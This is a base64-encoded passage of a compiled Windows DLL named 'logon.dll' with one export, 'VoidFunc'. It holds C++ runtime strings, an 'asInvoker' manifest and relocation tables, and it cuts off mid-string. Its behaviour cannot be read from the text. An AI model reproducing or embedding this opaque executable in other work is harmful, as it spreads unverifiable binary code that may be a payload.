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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAATDYBgAEAAABQNgGAAQAAAFQ2AYABAAAAWDYBgAEAAABcNgGAAQAAAGA2AYABAAAAZDYBgAEAAABoNgGAAQAAAHA2AYABAAAAeDYBgAEAAACANgGAAQAAAJA2AYABAAAAnDYBgAEAAACoNgGAAQAAALQ2AYABAAAAuDYBgAEAAAC8NgGAAQAAAMA2AYABAAAAxDYBgAEAAADINgGAAQAAAMw2AYABAAAA0DYBgAEAAADUNgGAAQAAANg2AYABAAAA3DYBgAEAAADgNgGAAQAAAOg2AYABAAAA8DYBgAEAAAD8NgGAAQAAAAQ3AYABAAAAxDYBgAEAAAAMNwGAAQAAABQ3AYABAAAAHDcBgAEAAAAoNwGAAQAAADg3AYABAAAAQDcBgAEAAABQNwGAAQAAAFw3AYABAAAAYDcBgAEAAABoNwGAAQAAAHg3AYABAAAAkDcBgAEAAAABAAAAAAAAAKA3AYABAAAAqDcBgAEAAACwNwGAAQAAALg3AYABAAAAwDcBgAEAAADINwGAAQAAANA3AYABAAAA2DcBgAEAAADo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jgAAQE0BALCOAADwjgAAKFMBAPCOAABekQAA/FIBAGCRAADqkQAA1FABAOyRAAAekgAAKFMBACCSAACvkgAAGFMBAAiTAACgkwAAoE0BAKCTAADQkwAAKFMBANiTAAA9lAAAQE0BAECUAABxlAAAQE0BAOSUAAAKlQAAKFMBAAyVAABrlQAAKFMBAGyVAABLlgAAMFMBAEyWAACInQAAXFMBAIidAABrngAAgFMBAGyeAAD/ngAAfE8BAACfAABTnwAAQE0BAFSfAACJqQAArFMBAIypAADSqQAAQE0BANSpAAAlqgAA0FMBACiqAAC8qgAA5FMBAEirAADerAAAtFIBAIStAAD5rQAA/FMBAPytAABergAAoE0BAGCuAACjrgAAdEwBAKSuAADprgAAdEwBAASvAACOsAAAHFQBAJCwAACksAAAdE4BAKSwAAAdsQAALFQBAFCxAACQsQAAQFQBAKSxAABytAAAWFQBAHS0AAAKtQAASFQBAAy1AABxtgAAkFQBAHS2AADwtgAAgFQBAPC2AAA8twAAQE0BADy3AAC1twAAfE8BAMS3AACquAAAuFQBAMC4AAAOuQAA+FQBABC5AAC4uQAAAFUBALi5AABOugAAOFUBAFC6AAD6ugAAKFUBAPy6AABwuwAAKFMBAJy7AADtvAAAbFUBAPi8AABRvQAAvE0BAFS9AABevgAAhFUBAGC+AADMvgAASE4BAMy+AADGwgAAhFUBAMjCAACfwwAAjFUBAKDDAAAaxAAAoE0BABzEAACCxAAAtFUBAITEAACkxAAAKFMBAKTEAADfxAAA2FUBAODEAAAnxQAA4FUBACjFAADrxQAAAFYBAOzFAACmxgAAoE0BAKjGAADfxgAAQE0BAPDGAAC3xwAAKFYBANDHAADkxwAAZFUBAOTHAAAKyAAAZFUBAArIAABTyAAAZFUBAFPIAACZyAAAOE0BAJnIAAC9yAAAZFUBAL3IAADWyAAAZFUBANbIAADvyAAAZFUBAO/IAAAIyQAAZFUBAAjJAAAjyQAAZFUBACPJAAAXygAAZFUBABfKAACVygAALFABAJXKAACtygAAZFUBAK3KAADDygAAZFUBAMPKAADsygAAZFUBAOzKAAAJywAAZFUBABDLAAAwywAAZFUBADDLAABOywAAZFUBAE7LAABnywAAZFUBAGfLAAB+ywAAZFUBAH7LAACmywAAZFUBAKbLAAC/ywAAZFUBAL/LAADYywAAZFUBANjLAADxywAAZFUBAPHLAAAJzAAAZFUBAAnMAAAizAAAZFUBACLMAAA5zAAAZFUBAEDMAACDzAAA9FYBAIPMAADBzAAABFcBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABgAAAAYAACAAAAAAAAAAAAAAAAAAAABAAIAAAAwAACAAAAAAAAAAAAAAAAAAAABAAkEAABIAAAAYMABAH0BAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnIHN0YW5kYWxvbmU9J3llcyc/Pg0KPGFzc2VtYmx5IHhtbG5zPSd1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MScgbWFuaWZlc3RWZXJzaW9uPScxLjAnPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0nYXNJbnZva2VyJyB1aUFjY2Vzcz0nZmFsc2UnIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAATAEAAICiiKKQoqiisKK4osCi2KLgouiiWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2KfopwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrADgAACUAAAAQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKdIp1CnWKdgp2incKd4p4CniKeQp5iniKiQqJiouKjAqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKoA8AAAGAAAAHiogKiIqJCoqKiwqLiowKgAAAEAcAEAAMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwAQAQAIAgAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pEikWKRopHikiKSYpKikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AIAEA9AAAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKGgrKissKy4rMCsyKzQrNis4KzorPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivAEABAAwAAADopQAAAHABAIAAAAAAoCigUKB4oKCg0KAQoRihAKNwpXilgKWIpZClmKWgpailsKW4pcinAKsQq9Cu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AgAEAvAAAAACgCKAQoBigIKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUC